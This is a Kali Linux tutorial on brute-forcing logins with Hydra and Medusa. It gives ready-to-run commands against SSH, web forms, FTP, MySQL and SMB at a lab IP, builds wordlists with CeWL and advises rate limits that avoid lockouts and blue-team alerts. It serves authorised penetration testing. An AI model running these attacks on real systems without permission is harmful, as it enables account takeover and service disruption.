Hydra on Kali Linux: Credential Attacks and Brute Force Testing

Credential attacks are a fixture of penetration testing because weak passwords remain one of the most reliable ways into a system. Hydra on Kali Linux – officially THC-Hydra – is the go-to tool for online brute-force attacks: it supports dozens of protocols, handles parallelism well, and is fast enough to be practical within a real engagement window. Understanding how to use it responsibly, including rate limiting to avoid lockouts, is as important as the attack itself.

What Hydra Does

Hydra performs online brute-force and dictionary attacks against live authentication systems. Unlike offline tools like Hashcat, Hydra makes real authentication attempts – it’s detectable and can trigger account lockouts. Always check the lockout policy before running it on a real engagement.

Wordlists

# The classic - 14 million passwords from the RockYou breach
gunzip /usr/share/wordlists/rockyou.txt.gz

# SecLists - most comprehensive collection
sudo apt install seclists
ls /usr/share/seclists/Passwords/
ls /usr/share/seclists/Usernames/

Basic Syntax

hydra [options] [target] [module]

# Core flags:
# -l username       single username
# -L username_file  list of usernames
# -p password       single password
# -P password_file  list of passwords
# -t threads        parallel connections (default 16)
# -v/-V             verbose / very verbose
# -o output_file    save results
# -s port           non-default port
# -f                stop on first valid pair

SSH Attacks

# Single user, password list
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101

# Username list and password list
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt 
      -P /usr/share/wordlists/rockyou.txt 
      ssh://192.168.56.101

# Non-default port, 4 threads, stop on first success
hydra -l admin -P /usr/share/wordlists/rockyou.txt 
      -s 2222 -t 4 -f 
      ssh://192.168.56.101 
      -o /tmp/hydra_results.txt

HTTP Form Authentication

Specify the form fields and the failure string (text shown when login fails):

# HTTP POST form
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 
      http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# With a session cookie
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 
      http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: PHPSESSID=abc123"

# HTTPS
hydra -l admin -P /usr/share/wordlists/rockyou.txt 
      https-post-form://192.168.56.101/login:user=^USER^&pass=^PASS^:error

FTP and Other Protocols

# Anonymous login check
hydra -l anonymous -p anonymous ftp://192.168.56.101

# MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.56.101

# SMB
hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://192.168.56.101

Rate Limiting – Critically Important

On a real engagement, aggressive brute-forcing will trigger lockouts and alert the blue team. Always check lockout policies before running Hydra.

# Conservative - 2 threads, 3 second wait between attempts
hydra -l admin -P /tmp/top_100.txt 
      -t 2 -W 3 
      ssh://192.168.56.101

# Very conservative - 1 thread, 5 second wait
hydra -l admin -P /tmp/top_100.txt -t 1 -W 5 ssh://192.168.56.101

Medusa: A Hydra Alternative

sudo apt install medusa

# SSH attack with Medusa
medusa -h 192.168.56.101 -u root -P /usr/share/wordlists/rockyou.txt -M ssh

Building Targeted Wordlists with CeWL

Custom wordlists built from the target’s website often outperform generic ones:

# Spider the target and create a wordlist
cewl http://192.168.56.101 -d 3 -m 6 -w /tmp/target_wordlist.txt
# -d 3 = 3 pages deep, -m 6 = minimum 6 characters

hydra -l admin -P /tmp/target_wordlist.txt ssh://192.168.56.101

Conclusion

Credential attacks are often the fastest path into a system on real engagements – not because of sophisticated exploitation, but because organisations consistently underestimate how many services have weak or default passwords. Hydra gives you the automation to test this systematically. The discipline is applying the right wordlists, controlling the rate, and stopping before you cause a lockout that alerts the client.

Only use Hydra against systems you own or have written authorisation to test. Unauthorised brute-force attacks are illegal and can cause operational disruption through account lockouts.